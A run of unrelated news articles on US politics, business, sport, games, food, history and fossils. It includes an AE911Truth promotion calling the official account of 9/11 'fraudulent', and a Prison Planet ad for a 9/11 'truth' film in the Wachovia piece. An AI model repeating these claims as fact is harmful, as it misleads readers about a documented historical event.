of the High School football team from which he just graduated.  Now, after this escalation of force, this former high school football star is facing charges of breach of peace and assault on a police officer—over a traffic stop.
-Chalk up another name on the list of big companies that are getting involved in VR more seriously. Today, during their Investor Day briefing as reported by GameSpot, Electronic Arts (EA), one of the largest and most prolific publishers and developers in the entire video game industry, expressed their explicit interest in not only virtual reality development, but other applications of future technology as well. In doing so, they’ve created a brand new internal team of approximately 30-40 people under the new Frostbite Labs umbrella, based in both Stockholm and Vancouver.  Interestingly enough, last year, EA’s Chief Financial Officer, Blake Jorgensen, went on record with GamesIndustry.biz as saying that they would “wait and see” how big the market gets with VR before dedicating any resources. That statement was only a few short months ago in November, which means either they’ve seen a high enough adoption rate already of the major headsets, or they’ve had a shift in focus since Jorgensen made those comments.  While important and meaningful without a doubt, this news should come as no surprise to anyone that’s been paying attention to the VR scene over the past several months. At GDC, when Sony announced the release window and price of the PSVR headset, they also announced a Star Wars Battlefront VR experience would be coming exclusively to the PSVR. Star Wars Battlefront is not only published by EA, but is also developed by DICE using the Frostbite Engine, which is already migrating over to allow for VR creation. While we do not know how they intend to expand into VR further, we can make some assumptions based on the image shown below, which was also provided by GameSpot. You’ll notice that the VR/AR section of the image displays a shot of the PSVR headset.  During the briefing, EA Studios boss Patrick Soderlund indicated that their focus is primarily on long-term projects, which is good to hear given the current state of quickly produced and often tech demo-esque productions that currently litter the Steam marketplace. Soderlund also elaborated that they are looking into the creation of “virtual humans” within VR, elaborating that, “how you’re seen as a virtual human in that world is something we need to solve for.” Whether this simply means more advanced avatars or an entire social MMO of some kind built within this technology remains to be seen.  Soderlund also provided insight into EA’s philosophy on innovation and improvement from a high level:  Innovation is not something you have to ask permission to do. This is something that has to be in our DNA. It’s something that should be ingrained in the culture of the company…I am a big believer in the need to constantly push and constantly innovate and try to be better. We need to dare to look into the future and dare to go deep into the crazy corners of technology. It’s our responsibility as a company, it’s something I’m passionate about, and it’s something I think we have the right people to do.”  UploadVR has reached out to EA for comment regarding Frostbite Labs and will provide additional information about this development when possible.  Tagged with: EA, Electronic Arts, Frostbite, PSVR, Star Wars
-Gawker During a radio segment that aired on The Tom Joyner Radio Show, CNN host Don Lemon delivered a thought-provoking monologue about gun violence — but he took the opposite viewpoint than some might expect from a mainstream journalist.  Rather than flatly speaking out against firearms, Lemon noted that a recent study has actually changed his views on guns. Citing the Center for Disease Control's research that was released this summer, he implored listeners to consider that the results might also challenge their own perspective.  "It just might make you rethink your stance, your view, on the issue," said Lemon. "It did for me. It's making me rethink it."  So, what, exactly did this apparently transformational study claim? Here are just a few of the bullet points, as assembled from Guns & Ammo Magazine:  1. Armed citizens are less likely to be injured by an attacker: 2. Defensive uses of guns are common: 3. Mass shootings and accidental firearm deaths account for a small fraction of gun-related deaths, and both are declining  And those are only a few of the findings — data that Lemon found more than compelling.  In the past, Lemon has taken a staunch view on firearms and gun violence, as evidenced here. In a fascinating dialogue with TheBlaze's Will Cain following the Sandy Hook Elementary School shooting last year, Lemon went after AR-15s.  "Who needs an armor-piercing bullet to go hunting? Who needs an assault rifle to go hunting? You can't even use the prey that you kill with an assault rifle if you indeed do it," he said at the time. "No one needs an assault rifle to go out and shoot a deer. No one needs an assault rifle that's capable of shooting 10, 20, 30 rounds off at the same time to shoot a duck, or to shoot quail. It does not make sense."  But he's now singing a different tune.  CNN anchor Don Lemon and jazz saxophonist Dave Koz on the red carpet at the Staples Center for the 55th Grammy Awards in Los Angeles, California, February 10, 2013. Credit: AFP/Getty Images  In his most recent radio commentary, the host explained that the results of the CDC study do validate the notion that the U.S. has the worst gun-related homicide problem among industrialized nations in the world. That said, the CNN host launched into some other tidbits that he said are essential to acknowledge.  A transcript of the segment, as published on BlackAmericaWeb.com, offers up Lemon's insistence that mass shootings are not the real problem and that that handguns, instead, account for more deaths:  "However, that same study - are you listening? - it shows that mass shootings are not the problem. They account for a very small fraction of firearm related deaths. Here are the numbers. Since 1983 there have been close to 80 shootings where four or more people were killed by a single perpetrator in one day in the U.S. Eighty shootings, four or more people killed. That's about 560 victims, people who have been killed, since 1983. Thirty years. You know how many people died from non-mass shooting events, four or more people, between 2000 and 2010? That's ten years alone. Three hundred and thirty-five thousand people. Three hundred and thirty-five thousand. And the vast majority of those victims did not die from those so called military style assault weapons that people rally against so much. Instead they died from handguns. Handguns are used in more than 87% of all violent crimes. And in fact handguns accounted for the most, most of the murders, themanslaughters, the incidents in this country."  But he didn't stop there. Lemon also took the time to explain a notion that sometimes gets swept under the rug: The fact that the majority of the killing that happens with guns isn't being committed by hunters or people in the military — those who are traditionally known to use weapons more frequently.  Lemon said that, based on the CDC results, people have a better chance of being shot while walking down the street and getting into a fight or getting robbed in big cities than they do being killed in a mass shooting. But it wasn't as though he dismissed firearm violence outright.  He did describe the phenomenon, on the whole, as an epidemic, but noted that crime — including those incidents committed with a gun — is going down. And Lemon offered up some questions about what he thinks should happen to help curb the violence.  Without going into specifics, the television host noted that some changes to the law are warranted, but he threw in a surprise twist.  "If our lawmakers, including the President, won't step up and make significant changes in gun laws, in gun registration, background checks, mental health, if gun purchases continue to grow and flood the streets, it makes me wonder that by some of us not owning a gun, or at least embracing the idea of one, are we setting ourselves up to be victims in a movie theater, a school, a public building, most of all in our streets, in our own neighborhoods, and in our own homes?," he asked.  "And armed with just our cellphones, our fists and our wits, are we setting ourselves up to be sitting ducks, defenseless in the face of a sane, or an insane person, armed to the teeth and bent on killing," Lemon added.  Listen to the CNN host's commentary here.
-Moderate House Democrats are drafting a proposal that would continue to shield big banks from potentially tougher state regulations of credit cards, mortgages and savings accounts.  The plan would differ from President Barack Obama’s proposal to give states a role in regulating large financial institutions that operate nation-wide. The lawmakers say it would be more practical and less expensive not to force the banks to comply with 50 different regulatory regimes.  But their proposal, spearheaded by Illinois Democratic Rep. Melissa Bean and discussed at a hearing Wednesday, isn’t sitting well with consumer advocates who say banks shouldn’t be allowed to skirt state regulations if the restrictions don’t suit them.  “That’s the system we have now. That’s the system that failed,” said Ed Mierzwinski, consumer program director for U.S. Public Interest Research Groups.  The current regulatory regime allows banks to follow either state or federal regulations. Whereas community banks often follow state rules, large banks typically opt for federal oversight so they can operate in various states under one set of regulations.  Under a plan by Obama and Massachusetts Democratic Rep. Barney Frank, lenders would have to answer to both state and federal regulators. A new Consumer Financial Protection Agency, or CFPA, would set the federal standard but states would be free to impose tougher rules.  The House Financial Services Committee, chaired by Frank, planned to take up legislation creating a CFPA the week of Oct. 12.  While the financial industry is lobbying against a new regulator, Frank said the agency is needed because the Federal Reserve and other regulators dropped the ball when it came to protecting the average American using credit cards and buying homes.  “I think it’s fair to say that no callouses will be found on the hands of those in the federal bank regulatory agencies who had consumer responsibility because there is no evidence of hard work,” he said at a panel hearing.  While Bean supports creation of a CFPA, she said in an interview this week that subjecting federally chartered banks to state laws would be too cumbersome to implement and would pass on added costs to consumers.  “If you have 50 different regulatory regimes that an institution has to comply with every new offering they make, every new service they want to provide, there (would be) 50 different sets of forms with 50 different sets of training,” she said.  Bean said she is drafting an amendment with input from other Democrats that would allow federally chartered banks to follow federal regulations under the CFPA and ignore state laws. She says her plan would still allow for multiple watchdogs because states could cooperate with federal regulators to sue banks in civil court for violation of federal law.
-Georgia, Tbilisi, May 28 / Trend N.Kirtskhalia /  Georgia can protect itself only in the framework of international blocs and alliances, and therefore it should strive to join the EU and NATO, Georgian President Mikheil Saakashvili said at a meeting with students and faculty of the Military Academy in Gori on Tuesday.  "We must never confuse who is our friend and who is our enemy. Russia is our big neighbor, and in a long term cooperation with Moscow is beneficial for Georgia. However, we should always remember that Russia is struggling not with a particular political group in Georgia but with the state of Georgia. The existence of a state which is not tied to the chariot of Russia in the region where it always used the principle 'divide et impera' is not advantageous for Moscow"- he stressed.  At the same time Saakashvili noted that Georgia is not only an advocate of world security, but also contributes to it, as evidenced by the Georgian military contingent in Afghanistan.  The President stressed noted the Georgian military contingent is one of the most exemplary in Afghanistan, and this is recognized by all NATO member states.  Do you have any feedback? Contact our journalist at news@trend.az  Follow us on Twitter @TRENDNewsAgency  Follow Trend on Telegram. Only most interesting and important news
-Rick Rothacker and Kerry Hall  The Charlotte Observer  October 2, 2008  On Friday, with its stock plunging 27 percent, Wachovia experienced a “silent run” on deposits, but the bigger worry for regulators was that other banks wouldn’t provide the Charlotte bank with necessary short-term funding when it opened for business Monday, sources familiar with the situation told the Observer.  With Wachovia already looking for a merger partner, the Federal Deposit Insurance Corp., in consultation with other regulators, required the bank to reach a sale to Citigroup on Monday morning.  The FDIC, for the first time, used legislative authority created in 1991 to help it deal with a “very large complex bank failure” on short notice. It requires approval from heavy hitters – two-thirds of FDIC board members, two-thirds of Federal Reserve board members as well as the Treasury secretary, who must consult with the president.  “When Wachovia opened Monday it would not have had a source of liquidity,” a source familiar with the situation said. “It really could not have opened under those circumstances. That’s why (the FDIC) put together the assistance package.”  A d v e r t i s e m e n t  The new details show the precarious situation Wachovia faced over the weekend as it rushed to find a suitor, even as Congress debated a possible bailout plan. Intense negotiations in New York included a decision by Wells Fargo to pass on a deal Sunday and frequent consultations with the Office of the Comptroller of the Currency, the bank’s primary regulator, and the FDIC, sources said.  In the end, the FDIC, which insures customer deposits, forged the deal because it has “the pocketbook,” a source said.  9/11 Chronicles Part One: Truth Rising  Get the DVD and make copies or watch the high quality streaming and download version online at Prison Planet.tv. Click here to read more about the film and view sample trailers.  Read article
-SAN FRANCISCO — Setting the stage for another battle over Uber’s business model, a federal judge refused to let the ride-hailing company off the hook for sexual assaults allegedly committed by its drivers — in part because of plausible evidence that those drivers are Uber employees.  Uber had argued that the company is not liable for assaults reported by two passengers last year in Boston and Charleston, South Carolina, because the accused drivers are independent contractors, not employees. But a San Francisco federal judge wasn’t convinced and rejected Uber’s early attempt to throw out claims brought against the company by the victims.  “It may be that facts will ultimately be revealed that disprove plaintiffs’ allegations or that tilt the scales toward a finding that Uber drivers are independent contractors,” U.S. District Judge Susan Illston wrote in a Wednesday ruling. “However, taking the allegations in the amended complaint as true, plaintiffs have alleged sufficient facts that an employment relationship may plausibly exist.”  Illston’s ruling moves the case one step closer to trial, but it doesn’t guarantee that the plaintiffs will prevail or that the Uber drivers ultimately will be deemed employees.  Uber’s reliance on a workforce of independent contractors has been challenged by drivers who want employee benefits such as minimum wage, overtime pay and reimbursement for driving expenses. Uber agreed to pay up to $100 million to resolve a high-profile class-action lawsuit over the issue in April, two months before the case was scheduled to go to trial in San Francisco. That deal doesn’t require Uber to change its business model, but neither does it resolve the larger issue of whether the company’s drivers are employees. Instead, the deal leaves the door open for other judges, such as Illston, to weigh in.  If the two drivers in the sexual assault case ultimately are found to be Uber employees, the company wouldn’t automatically be forced to change the status of all drivers. But such a ruling could be used as effective ammunition for other plaintiffs trying to upend Uber’s business model.  “Judge Illston is a senior judge — she is very well respected,” said San Francisco employment attorney Daniel Hutchinson. “Whatever reasoning she would have one way or another I imagine would be very persuasive to any judge dealing with similar issues.”  But San Francisco attorney Kathy Huibonhoa, who represents employers in workplace disputes, pointed out that the factors the court considers when determining employee status for a sexual assault case might be different from those it uses for a wage-and-hour case.  “I don’t think it would have broader impact,” she said of Illston’s case.  Uber declined to comment.  Plaintiffs in the sexual assault case, referred to in court filings as “Jane Doe 1” and “Jane Doe 2,” brought claims against Uber in October that include assault, battery, false imprisonment and negligent hiring. Jane Doe 2 claims her driver demanded oral sex as payment for her ride, then locked the car doors, drove to a remote parking lot and “proceeded to viciously rape her.”  Plaintiffs claim the driver accused in that Charleston attack, Patrick Aiello, had been convicted of assault in 2003 — a fact that was overlooked by Uber in his background check. Uber called the conviction a “12-year-old disorderly persons offense that could have been expunged.” But Illston ruled there are sufficient facts to suggest that Uber should have known about Aiello’s criminal history and allowed the plaintiffs to proceed with their claim that Uber was negligent in hiring him.  The sexual assault case is one of many challenging Uber’s use of independent contractors. In the two weeks since Uber announced its settlement worth up to $100 million, the company has been hit with at least two similar class-action lawsuits in other states. But because Uber asks drivers to agree to resolve disputes out of court using a private arbitrator, it may be difficult for such cases to proceed to a jury. Over the past month, courts in Arizona, Florida and Maryland have forced other contractor cases into arbitration.  “It is very difficult to change companies’ behavior directly through this litigation,” Boston-based attorney Shannon Liss-Riordan, who represents drivers in the San Francisco case that settled, wrote in an email, “so oftentimes the effect we can have is indirect — we win important concessions (like we did in the Uber settlement).”  Marisa Kendall covers startups and venture capital. Contact her at 408-920-5009. Follow her at Twitter.com/marisakendall.
-AE9/11 Truth supports Truth Walk 9/11! Learn more about Truth Walk 9/11, a 500 mile journey for truth and the U.S. Constitution. This trek includes an exciting film documentary project as well! Please support Truth Walk 9/11 at www.qmamedia.com  Truth Walk 9/11: A Journey for Change  As they travel, Meiswinkle and Senzee will be filming a documentary, in which they hope to bring out the crucial — as well as inspiring and uplifting — message that our inherent rights to life, liberty, and the pursuit of happiness are unalienable, inviolate, and are core to all peoples on earth.  ATTORNEY AND ACTIVIST TEAM UP FOR TREK INTO PAST THAT CHARTS A NEW COURSE FOR OUR FUTURE  By AE911Truth Staff  Dave Meiswinkle and Pam Senzee are walking for truth, liberty, and freedom for all peoples the world over. Next month, two AE911Truth friends, ex-cop and current criminal defense attorney David Meiswinkle and activist Pamela Senzee, will embark on a several-hundred-miles-long journey — on foot. They're calling the trek Truth Walk 9-11!  Their sojourn will span the entire region where the crimes of 9/11 took place — the Pentagon in Arlington, Virginia, a field in Shanksville, Pennsylvania, and the World Trade Center in New York City.  The 9/11 Survivor Tree lives on as a testament to the spirit of growth in the face of overwhelming adversity. While in the Washington, D.C., area, they will visit the National 9/11 Pentagon Memorial. They will also pay homage to our Founding Fathers at historic sites in Baltimore, Maryland; Philadelphia, Pennsylvania; and Trenton, Morristown, Princeton, and Newark, New Jersey. Their final stop: the 9/11 Memorial and Museum at Ground Zero in NYC. The journey will end at the 9/11 Survivor Tree.  As they travel, Meiswinkle and Senzee will be filming a documentary, in which they hope to bring out the crucial — as well as inspiring and uplifting — message that our inherent rights to life, liberty, and the pursuit of happiness are unalienable, inviolate, and are core to all peoples on earth. They aim to make clear that the loss of our constitutional rights, by way of the Patriot Act and other draconian post-9/11 legislation being enforced in the United States and around the world, is directly related to the fraudulent official account of 9/11.  In their film, they want to draw under one banner leaders from both the truth and peace movements, including architects, engineers, and other science and technical experts, as well as scholars, philosophers, psychologists, religious leaders, grassroots activists, law enforcement officials, journalists, bloggers, politicians, and just plain folks who they meet along the way. The idea is to explore all the avenues and actions by which citizens of all nations can restore liberty and therefore build genuine and lasting solutions.  The pair also hopes to shed light on the means by which we can transform society at every level. They envision exploring the historic, political, social, philosophical, and metaphysical roots of our current world condition. And they intend to invite leaders in various fields to probe the possibilities for transformation.  Richard Gage, AIA, in the halls of the U.S. Senate in Washington, D.C. AE911Truth fits into their plans in a couple of ways: On their walk they will distribute AE911Truth DVDs and literature, and in their film they will feature the organization's founder, Richard Gage.  Senzee and Meiswinkle are also engaging in what they call a "spirit quest." That is, they seek practical spiritual answers to overcoming, both individually and collectively, the world's current plight, in which lies, cover-up of lies, and denial of lies seem to have the upper hand over truth and the freedom that truth brings to all.  Gage sums up the deeper spiritual motivation engrained in the Truth Walk 9/11 mission during one of his appearances on Quantum Matrix Radio, when he says (at the 70:54-minute mark):  “There are millions of people in the truth movement. We have to take comfort that we are not alone . . . .  There’s a force that is building, and there are unseen forces at work . . . .  We are riding a wave of history in time.” *  Be part of an historic transformation. Join AE911Truth in supporting Truth Walk 9/11.  Thanks!  *Richard Gage’s philosophical comments begin at the 66:02-minute mark.  http://www.ae911truth.org/news/219-news-media-events-truth-walk.html
-About Capitol Desk Capitol Desk delivers the latest in health care policy and politics from Sacramento and around the state. Have an idea? Let us know.  The Second District Court of Appeal in Los Angeles last week ruled that the Department of Managed Health Care cannot use licensure as a basis for denial of a type of autism treatment to state employees.  The ruling means better access for patients to applied behavior analysis (ABA) therapy, according to Jamie Court, president of Consumer Watchdog, the consumer advocacy group that brought the lawsuit.  “This case was a landmark … and a big victory for public employees, who will be able to get ABA therapy,” Court said.  Court said the state previously had a policy of allowing denial of ABA therapy because of a lack of licensing — though health plans, he said, weren’t actually denying it. And at one point, he added, the state worked on the assumption that ABA therapy was educational, not medicinal.  The bigger issue, Court said, involves the central principle of whether or not ABA therapy is a medically necessary treatment, and that part of the ruling came across clearly, he said.  “This was a resounding affirmation that ABA therapy is the right medicine for the job,” Court said.  The next big issue is to challenge the lack of access to ABA therapy services among Medi-Cal beneficiaries — particularly those who previously were in the Healthy Families program, Court said. Medi-Cal is California’s Medicaid program, and Healthy Families is the state’s Children’s Health Insurance Program.  Many children lost access to ABA during this year’s transition to Medi-Cal managed care, Court said, though some of those kids could be eligible for help in the regional centers.  “This lawsuit could never reach that far, but the next question is, since Healthy Families [families] had access to ABA therapy, should that entitlement go with them?” Court said.  “The real takeaway is that Medi-Cal recipients have been left out [of ABA therapy coverage],” he said. That’s the last remaining question that needs to be answered, and that would be resolved with another lawsuit or new legislation.”
-Rock of Ages 2 is having a Free Multiplayer Weekend on Steam + Patch 1.07 + New Trailer  Rock of Ages 2 is having a Free Multiplayer Weekend on Steam! The tutorial level is free to try as well, so you can learn the ins and outs of the game before taking on the competition. Have fun!  And it's 50% off!  We've released patch 1.07 which mostly addresses stability, but also introduces the Shockwave Barrel Combo feature. Here are the details:  Shockwave combo: Drop a lightning bolt on explosive barrels to create a more powerful electric explosion, which has longer range and does more damage.  Fixed rare crash when units try to spawn crowds around themselves.  Lightning bolts no longer target fireworks, only explosive barrels.  Explosive barrels are slightly more powerful.  Misc interface tweaks.  And we made a new trailer, check it out:
-The once extraordinary rate of Chinese economic growth is slowing. In 2014, China’s GDP grew at an official rate of 7.4 percent, slightly less than the stated goal of 7.5 percent. Although more recently monthly data have been more robust, the trend towards slowing growth seems inexorable.  A decelerating Chinese economy, coming at a time of global economic uncertainty (especially in the eurozone), could have dramatic economic implications throughout the world. However, the repercussions of a Chinese economic slowdown would not be limited to the economic sphere. Given the incredible importance of economic growth to political stability – both within China itself and East Asia in general – adapting to a dampened Chinese economy will be a pivotal challenge in the Asia-Pacific.  While an official GDP growth rate of 7.4 percent would be the envy of most major economies, this figure represents China’s lowest economic growth since 1991. And of course, economic data from China’s National Bureau of Statistics is not completely trusted by all observers. Local officials (and the central government itself) have a vested interest in exaggerating their economic performance. Capital Economics, a London-based research group, monitors the Chinese economy by looking at the five factors of electricity output, freight shipmen, construction, passenger travel, and cargo volume. According to this China Activity Proxy, recent annual growth is closer to 5.7 percent.  Regardless of the statistical specifics of the Chinese slowdown, this development poses some degree of political risk for the Chinese state. For more than two decades economic growth has been the major factor in ensuring political stability in China. Many Westerners forget that the massive protests that rocked Beijing and other Chinese cities in 1989 coincided with the biggest economic crisis of the post-Mao era, with annual inflation of 30 percent leading to panic buying throughout the country.  Since 1990, China has been governed by a social contract in which the material lives of ordinary citizens improve dramatically while the Party keeps a monopoly on political power. Rising wages and standards of living helped ensure political stability. Historically most revolutions, including the recent upheavals in the Middle East, only reached critical mass when a majority of a country’s people lost hope in the economic capabilities of the governing political structure.  Recent initiatives by the Chinese state can be understood in light of these economic concerns. Since coming in to power in 2013, the administration of President Xi Jinping has launched several populist measures. Posters throughout the country combine traditional Chinese themes with Communist Party slogans to promote the “Chinese Dream.” Xi’s campaigns against lavish banquets and other government waste led to a significant drop in the price of high-end liquor soon after his rise to power. Perhaps most important has been a massive anti-corruption campaign, which has netted thousands of corrupt officials, from minor bureaucrats to the massively powerful former head of internal security.  The anti-corruption campaign in China has been so far-reaching that it is now having negative effects on the Chinese economy. These effects create something of a contradiction in the Chinese polity, because although the anti-corruption campaign enjoys widespread support, it appears to be having some detrimental effects on the main economic pillar of Chinese political stability. Besides dampening the high-end liquor market, the anti-graft and ant-waste campaigns have had deleterious effects on industries from tourism and gambling to real estate. Mao Daqing, deputy chief executive officer of the largest property developer in China, openly warned of the economic impacts of the political campaign: “For us developers, the impact of the anti-corruption campaign on the sales of high-end property is very serious.”  China’s once-booming housing market is now deflating, with prices falling in a majority of cities. Prices appear to be dropping because the rapid increase in housing supply in recent years has outstripped demand. Problems in the real estate market are mirrored by other macroeconomic troubles. Much of the low-hanging economic fruit in China has been plucked. Rising wages in China have led many manufacturers to relocate to countries such as Vietnam or the Philippines. China’s historically strong international trade is also taking a hit, with exports down 3.3 percent from a year ago and imports dropping nearly 20 percent.  In June 2014, Chinese Premier Li Keqiang pledged to maintain a robust growth rate: “China’s economy needs to grow at a proper rate, expected to be around 7.5 per cent this year… Despite considerable downward pressure, China’s economy is moving on a steady course. We will continue to make anticipatory and moderate adjustments when necessary. We are well prepared to defuse various risks.”  Indeed, since this pledge and the subsequent slowdown, the central government has used macroeconomic tools to boost growth. The People’s Bank of China cut interest rates in November, and more recently lowered the reserve requirement ratio, freeing up $100 billion for lending. China has weathered previous economic predicaments, for example the 2008 global financial crisis, and emerged stronger. A hard landing is by no means a foregone conclusion, and China still has many macroeconomic advantages.  However, for all the policy tools at Beijing’s disposal, China’s leaders cannot guarantee rapid economic growth forever. It may be necessary to lower economic expectations, while shoring up the state’s popular legitimacy through non-economic means. Back in 2013, Xi criticized the myopic focus on economic growth, saying “We should never judge a cadre simply by the growth of gross domestic product.” More recently an article in China’s NetEase quoted Fudan University Department of Finance professor Kong Aiguo as saying, “Since we are entering what is called the ‘new normal’, we should not worry about the speed of GDP, bur rather we should focus on livelihood issues, public welfare issues, entrepreneurship issues, and financial transparency issues.”  Adapting to China’s “new normal” of lowered GDP growth will be an important challenge for leaders in China and around the world. China does more international trade than any other country on earth. Besides issues of trade, any problems in the Chinese financial system could have serious global impacts, especially coming at a time of relative global economic uncertainty.  If China does face a prolonged period of economic difficulty, the political repercussions could be volatile. The Chinese state might be forced to look for alternative sources of popular support. China’s leaders could implement additional populist measures. It is also possible that increased nationalism could come in to play, especially in the unresolved territorial disputes in the East China Sea and the South China Sea. Regional and global powers would be wise to monitor China’s economic situation closely.  Brendan P. O’Reilly is China-based writer and educator. His specialty is Chinese foreign policy.
-Watch: [And Learn] How Alejandro Jodorowsky Makes Magic in 'The Dance of Reality'  ABKCO Films has released a trailer for “The Dance of Reality,” legendary Chilean filmmaker Alejandro Jodorowsky’s long anticipated return to the director’s chair after more than twenty years.  “The Dance of Reality” debuted this time last year as part of the Directors’ Fortnight at Cannes. The film is an adaptation of Jodorowsky’s autobiography of the same name and unlike other films “based on a true story,” Jodorowsky experiments with the natural world – constantly toying with the color palette and even incorporating certain elements of the fantastic.  READ MORE: Alejandro Jodorowsky Explains It All, Including Why George Harrison Wouldn’t Get Naked For His Film  In tandem with the release of the trailer, ABKCO has also debuted a featurette where Jodorowsky explains how close the film is to his heart. In addition to disclosing the thought behind casting his sons and collaborating with his wife on the costumes, Jodorowsky explicitly addresses the question of whether or not he will continue to make films.  “If I die tomorrow, it is my last will,” he says with a laugh. “But if I continue, it’s my comeback. I will make pictures till I die.”  “The Dance of Reality” is out in limited release on May 23. Watch the trailer and the featurette below:  Sign Up: Stay on top of the latest breaking film and TV news! Sign up for our Email Newsletters here.
-So the latest crazy in low carb, keto cooking is Shirataki noodles. If you’re not familiar, Shirataki noodles are an asian noodle substitute made from devil’s tongue with between 0 and 1 carb per serving depending on the type. Since this is an asian noodle, what goes better than Kimchi? If Shirataki isn’t your style, make sure to check out my other faux pasta articles!  Here is the finished dish and I think it turned out really well!  For the protein portion of this dish, I went with thinly sliced pork belly. Since I will be stir frying this quickly in a wok, I made sure to prep everything ahead of time.  For the vegetables, I used chopped up kimchi. Kimchi are spicy, fermented vegetables and should be available at any specialty asian grocery store. Alternatively, you can just get some stir fry vegetables and add some hot sauce.  Make sure to wash the noodles REALLY well. They stink and are stored in some sort of nasty liquid. However, a good washing gets rid of that entirely. The above is a combination of two different packs, one angel hair and one spaghetti.  Now that all of the ingredients are prepped, we’re ready to start stir frying! Assembly a variety of asian oils and spices into a nonstick wok and heat.  Start by cooking the meat in the sauce.  Add in the kimchi and incorporate it into the mix.  Make a hole in the center of the wok and drop in the noodles. Fry for a few additional minutes and mix it all together.  Here is the final dish in the wok!  Add some cut green onions on top and the dish is finished! I really liked the mix and it was pretty simple, just rinse the noodles, cook meat and vegetables, add noodles, and your done!
-Gillard abandons leadership on climate change  It's hard to describe just how truly wretched Labor's new climate change policy is. It makes the CPRS, its dog of an emissions trading scheme, look like a model of best practice.  It's hard to describe just how truly wretched Labor's new climate change policy is. It makes the CPRS, its dog of an emissions trading scheme, look like a model of best practice. It is a spectacular failure of leadership. Julia Gillard's "citizens' assembly" has effectively outsourced responsibility for climate policy to "ordinary Australians", on whose "skills, capacity, decency and plain common sense" Gillard will rely to tell her about the community consensus on climate change. In effect it institutionalises what is already apparent -- this is a Government controlled by focus group reactions. Labor has been playing politics with climate change for three years and it hasn't stopped. But whereas for most of that time it used climate change to damage the Coalition, now it is having to defend itself against the issue. It will only be with the political cover afforded by this nonsensical Assembly that the Government will take any action on a carbon price. Rarely has so much goodwill and political capital been wasted on such an important issue. The consensus the Government insists it needs the protection of before acting already exists. It's not just in the opinion polls, which show time and time again that the majority of voters want action on climate change and supported the Government's CPRS. In 2007, let's not forget, both sides of politics told Australians they were going to introduce an ETS. The 2007 election endorsed a community consensus on the need for action. Instead, in 2010, neither party will commit to any sort of carbon price mechanism for at least three years. Instead, they're offering excuses as to why they don't want to take action. We've done anything but move forward on climate action. Gillard's interim actions are little better. The new emissions standard she proposes won't even apply to four coal-fired power stations being built or brought back on line currently. They may not apply to two more, the massive Mt Piper and Bayswater projects in NSW, which will together add 4% to national CO2-equivalent emissions when they come on line. Holding the baseline for the CPRS at 2008 levels won't give electricity generators any more investment certainty when it remains unclear whether there will ever be an emissions trading scheme in Australia. Nor does it change the simple fact that State Governments continue to drive Australia into a coal-fired future. Labor's craven pandering to key outer-suburban electorates in its population and asylum seeker policies was bad enough. But abdicating executive responsibility for action on climate change is a new low in cynical politics, beyond the depths even reached by NSW Labor. Politicians are elected to lead. Deferring every controversial issue back to the electorate is a clumsy variant of leadership by polling and focus groups. So blatant is Labor's refusal to lead that it raises serious questions about its fitness for government. The only problem is that the alternative is an economically-illiterate party whose leader doesn't believe in climate change at all, but who insists on wasting $3b on the most expensive possible means of addressing it. What a choice, two major parties incapable of leadership and unfit to govern.
-Perhaps the best-known maritime tragedy of all time, the RMS Titanic was a passenger liner that sank in the North Atlantic Ocean on April 15, 1912, after colliding with an iceberg during her maiden voyage from Southampton, UK to New York City, US. The sinking of Titanic caused the deaths of 1,514 people in the third deadliest non-military maritime disaster in history.  On April 14, 1912, four days into the crossing and about 375 miles south of Newfoundland, she hit an iceberg at 11:40 pm. The collision opened five of her sixteen watertight compartments to the sea. Over the next two and a half hours, the ship gradually filled with water and sank. Passengers and some crew members were evacuated in lifeboats, many of which were launched only partly filled. Just before 2:20 am, the Titanic broke up and sank bow-first with over a thousand people still on board. Those in the water died within minutes from hypothermia caused by immersion in the freezing ocean. The 710 survivors were taken aboard from the lifeboats by the RMS Carpathia a few hours later.
-The Padres agreed to terms with compensation choice Eric Lauer, Baseball America’s John Manuel reports on Twitter. He’ll earn $2MM, just $159,900 shy of the full allotment for the 25th overall pick.  San Diego chose Lauer, a lefty out of Kent State, as part of a critical haul of draft prospects. He was taken just after shortstop Hudson Potts — who recently changed his last name from Sanchez, per MLB.com’s AJ Cassavell. The signing means that the club has inked six of its eight selections from the first five rounds, including top selection Cal Quantrill, with a net savings from that group. Still yet to sign are Buddy Reed (48th overall) and Reggie Lawson (71st).  Lauer drew top-thirty grades from MLB.com and Baseball America, which cited his improving showing over the last year. His calling card is a fairly polished, four-pitch mix that gives him a fairly strong floor. With good athleticism and an easy motion, Lauer looks like a solid bet to crack the majors. Of course, it’s less clear that he has the upside of some higher-octane arms, and that viewpoint led Keith Law of ESPN.com to rate him 50th among draft-eligible prospects.
-Cricket's governing bodies in Ireland and Scotland are to get around £320,000 a year each in additional funding from the International Cricket Council.  The grants are aimed at developing greater competition beneath the full member nations.  Ireland's deal lasts until 2015, with chief executive Warren Deutrom keen to find the best way to put it to use.  "We are grateful to the ICC for this award which will help us achieve our stated objectives," he said.  "We shall be exploring in greater detail the award and terms of the grant with ICC management in order to ascertain how to prioritise the funding towards the proposals that we outlined in our applications."  The ICC executive board decided to allocate the extra money for Ireland and Scotland under the Targeted Assistance and Performance Programme.  Scotland, whose funding also lasts for the next three seasons, intend to use the money to help get more high-profile matches against the top international sides.  Their chief executive Roddy Smith said: "The additional support will enable us to enhance our national team programme over the next three years and support our young developing side in continuing their recent progress."  There was a further boost for the Saltires, who have been given dispensation to field non-Scotland born players who have parents from the country without the four-year qualification period.  "The issue has been a prominent one for a number of years and we welcome the decision to allow players with Scottish parentage to be able to apply to the ICC for exceptional circumstances," added Smith.
-Up to 580 million years after their seafloor habitat was abruptly buried in volcanic ash, some of our earliest and weirdest ancestors are finally getting their moment in the global spotlight.  Mistaken Point, a 17-kilometre stretch of Newfoundland coastline that bears some of the oldest recognizable traces of life on Earth, including frond-like animals called rangeomorphs that looked more like plants, has been chosen as Canada's latest World Heritage Site.  The decision was announced Sunday in Istanbul, where the UN Educational, Scientific and Cultural Organization (UNESCO) committee that oversees World Heritage designations was holding its annual meeting. It came less than 48 hours after a failed coup attempt in Turkey forced the committee to suspend its deliberations and threatened to derail the process for at least a year.  Story continues below advertisement  Five and a half time zones away at the Edge of Avalon interpretive centre in Portugal Cove South, Nfld., a small crowd that gathered early Sunday morning to watch the World Heritage Committee's proceedings via live webcast erupted in cheers.  "Everybody was leaping up and down, but my reaction was one of total relief," said Richard Thomas, a provincial geologist with the Mistaken Point Ecological Reserve, who helped spearhead the bid.  Following the committee's verdict, people celebrated by driving through the small coastal community, located 130 kilometres southwest of St. John's, with horns beeping and balloons flying, he said.  Mistaken Point is known as a rich fossil site that spans the early Ediacaran Period, a time when multicellular 